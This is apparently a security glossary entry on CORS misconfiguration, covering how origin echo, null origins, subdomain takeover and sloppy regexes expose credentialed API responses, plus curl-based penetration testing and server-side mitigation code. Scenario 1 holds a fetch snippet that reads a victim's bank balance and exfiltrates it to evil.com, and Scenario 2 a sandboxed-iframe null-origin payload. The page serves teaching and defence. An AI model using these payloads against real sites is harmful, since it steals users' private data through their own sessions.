Skip to content

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Schwachstellenklassen Glossary

CORS - Cross-Origin Resource Sharing Fehlkonfiguration

CORS misconfigurations occur when web servers return `Access-Control-Allow-Origin` wildcards or unvalidated origins. Attackers can send cross-site requests with cookies from the victim’s browser and read sensitive API responses. This is particularly critical when `Access-Control-Allow-Credentials` is set to `true`. Mitigation: Validate a strict origin whitelist on the server side; do not combine wildcards with credentials.

CORS (Cross-Origin Resource Sharing) is a browser security mechanism that allows exceptions to the Same-Origin Policy for legitimate cross-origin requests. Misconfigurations in CORS headers allow attackers to send API requests to sensitive endpoints from the browser of a logged-in user and read the responses—an attack that the Same-Origin Policy is actually intended to prevent.

The Basic Principle of CORS

Same-Origin Policy (SOP): The browser does NOT allow JavaScript on site-a.com to read responses from site-b.com (requests can be sent—but the response is blocked).

CORS Exception (if the server agrees):

Access-Control-Allow-Origin: https://site-a.com

The browser then allows JavaScript to read the response.

Misconfigurations:

Access-Control-Allow-Origin: *            ← Wildcard
Access-Control-Allow-Origin: null         ← null Origin
Access-Control-Allow-Origin:   <geklont aus="" request="">← Echo

Problematic combination:

Access-Control-Allow-Credentials: true   ← Send cookies!
Access-Control-Allow-Origin: *           ← Browser BLOCKS this
Access-Control-Allow-Origin:       <echo>
← DANGEROUS!

Attack Scenarios

Scenario 1 - Origin Echo with Credentials

Vulnerable server code simply returns the request origin:

Access-Control-Allow-Origin: $REQUEST_ORIGIN
Access-Control-Allow-Credentials: true

Attack from attacker's site (evil.com):

fetch(&#x27;https://api.bank.com/account/balance&#x27;, {
  credentials: &#x27;include&#x27;  // Sends session cookie!
})
.then(r =&gt; r.json())
.then(data =&gt; {
  // Attacker reads account balance!
  fetch(&#x27;https://evil.com/steal?data=&#x27; + JSON.stringify(data));
});

Process: Victim visits evil.com → Browser sends request to api.bank.com WITH session cookie → Server responds (CORS allows it due to Echo configuration!) → JavaScript reads sensitive data → Data is exfiltrated to evil.com.

Scenario 2 - Null Origin

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts" src="data:text/html,
  <script>
  fetch('https://api.target.com/private', { credentials: 'include' })
  .then(r => r.text())
  .then(d => parent.postMessage(d, '*'));
  </script>
"></iframe>

data: URLs have Origin: null - the server allows null, the iframe can read.

Scenario 3 - Subdomain Takeover + CORS

CORS whitelist: *.company.com - if staging.company.com is compromised via subdomain takeover, the attacker can send CORS-allowed requests to api.company.com from there.

Scenario 4 - Regex bypass in origin validation

Server regex: /^https://company\.com$/
Escaping error: /https://company.com/  (period not escaped)
→ companyXcom, company-evil.com also match!

Detection in the Penetration Test

1. Simple CORS check via curl

# Test: Send Origin and check response
curl -v -H &quot;Origin: https://evil.com&quot; \
     https://api.target.com/api/user

# Check response header:
# Access-Control-Allow-Origin: https://evil.com  ← ECHO! Check!
# Access-Control-Allow-Credentials: true         ← CRITICAL!

2. Systematic Origin Tests

# Test different origins:
curl -H &quot;Origin: https://evil-target.com&quot; https://target.com/api/
curl -H &quot;Origin: null&quot; https://target.com/api/
curl -H &quot;Origin: https://target.com.evil.com&quot; https://target.com/api/
curl -H &quot;Origin: https://evil.com&quot; https://target.com/api/

3. Burp Suite CORS Testing

  1. Set Origin header to evil.com
  2. Response: Check Access-Control-Allow-Origin?
  3. If allowed: Test with credentials
  4. Extend to private endpoints

4. Tool: corsy (Python)

# Automated CORS scanner:
python3 corsy.py -u https://target.com/api/ -t 10
# Checks for all known CORS misconfigurations

5. Check critical endpoints

  • /api/user, /api/profile (PII)
  • /api/payment, /api/account (Finance)
  • /api/admin (privileged operations)
  • /api/token, /api/auth (Authentication)

Severity Levels

SeverityConfiguration
CRITICALACAO: Echo + ACAC: true + sensitive endpoints
HIGHACAO: null + ACAC: true
MEDIUMACAO: * (without credentials - no session access)
INFOACAO: * on public API without sensitive data

Mitigation Measures

1. Strict Origin Whitelist (THE ONLY Correct Method)

// Node.js/Express:
const allowedOrigins = [
  &#x27;https://app.company.com&#x27;,
  &#x27;https://www.company.com&#x27;
];

app.use((req, res, next) =&gt; {
  const origin = req.headers.origin;
  // Always check against a static whitelist!
  if (allowedOrigins.includes(origin)) {
    res.setHeader(&#x27;Access-Control-Allow-Origin&#x27;, origin);
    res.setHeader(&#x27;Vary&#x27;, &#x27;Origin&#x27;);  // Prevent cache poisoning!
    res.setHeader(&#x27;Access-Control-Allow-Credentials&#x27;, &#x27;true&#x27;);
  }
  next();
});

// WRONG (Echo):
// res.setHeader(&#x27;ACAO&#x27;, req.headers.origin);  // NEVER!

2. CORS Configuration via Framework

# Python (Django) - settings.py:
CORS_ALLOWED_ORIGINS = [
  &quot;https://app.company.com&quot;,
  &quot;https://www.company.com&quot;
]
# DO NOT USE: CORS_ORIGIN_ALLOW_ALL = True !
CORS_ALLOW_CREDENTIALS = True
// Java (Spring):
@CrossOrigin(origins = {&quot;https://app.company.com&quot;},
             allowCredentials = &quot;true&quot;)
// Do not use @CrossOrigin(origins = &quot;*&quot;) with allowCredentials!
# Nginx - allows only these exact origins:
if ($http_origin = &quot;https://app.company.com&quot;) {
  add_header &#x27;Access-Control-Allow-Origin&#x27; $http_origin;
  add_header &#x27;Access-Control-Allow-Credentials&#x27; &#x27;true&#x27;;
}

3. ALWAYS set the Vary header when the origin is dynamic

Vary: Origin

Prevents proxy caches from caching incorrect CORS responses.

4. Handle preflight requests correctly

OPTIONS /api/data HTTP/1.1
→ Return only allowed methods/headers:
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400

5. Never combine credentials with wildcards

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Browsers already block this—but never use Echo as a workaround!

6. Never allow null origins

if (origin === &#x27;null&#x27;) return;  // Reject null!
// data: URLs and sandboxed iframes send null

7. For internal APIs without browser access

Disable CORS (no Allow-Origin header) – CORS is only necessary for APIs consumed by browsers.